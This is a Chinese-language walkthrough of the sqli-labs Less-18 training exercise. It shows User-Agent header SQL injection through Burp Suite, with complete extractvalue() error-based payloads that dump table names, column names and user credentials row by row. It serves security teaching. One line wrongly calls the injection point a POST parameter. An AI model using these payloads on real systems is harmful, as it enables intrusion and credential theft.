有时候,后台开发人员为了验证客户端HTTP Header (比如常用的Cookie验证等)或者通过HTTP Header头信息获取客户端的一些信息(比如 User-Agent、Accept字段等),会对客户端HTTP Header进行获取并使用SQL语句进行处理,如果此时没有足够的安全考虑,就可能导致基于HTTP Header的注入漏洞。常见的HTTP Header注入类型包括Cookie注入、Referer注入、User-Agent注
入、XFF注入等。
访问Less-18
http://本机IP/sqli-labs/Less-18
注意:端口要一致
在Firefox浏览器访问Less-18登录界面,输入用户名admin、密码任意,然后点击Submit。此时,Burpsuite会拦截到HTTP请求包
单击鼠标右键,在弹出的菜单中选择Send to Repeater",将其发送给Burpsuite的 Repeater模块
在原始HTTP请求包的头部字段User-Agent末尾添加单引号,Send后发现报错!
在原始HTTP请求包的头部字段User-Agent末尾添加','','')#,Send后发现未报错!
由此可以判断,目标网站在POST参数处存在字符型注入点
...Firefox/97.0' and extractvalue(1, concat( '~',database())),'','')#
...Firefox/97.0' and extractvalue(1, concat( '~',(select group_concat(table_name) from information_schema.tables where table_schema='security'))),'','')#
显示结果中,有一个名为users的表,这当中可能存放着网站用户的基本信息。
注意:extractvalue()函数所能显示的错误信息最大长度为32,如果错误信息超过了最大长度,有可能导致显示不全。因此,有时需要借助 limit来做分行显示
具体可参考基于extractvalue()的报错注入_Z_l123的博客-CSDN博客
...Firefox/97.0' and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))),'','')#
显示结果,users表中有id、username和 password三个字段
同上一个步骤相似,为了避免错误信息太长导致显示不全,有时需要借助limit来做分行显示
具体可参考基于extractvalue()的报错注入_Z_l123的博客-CSDN博客
...Firefox/97.0' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 0,1))),'','')#
...Firefox/97.0' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 1,1))),'','')#
以此类推,可通过修改limit后面的参数,将users表中存放的所有用户信息全部暴露出来。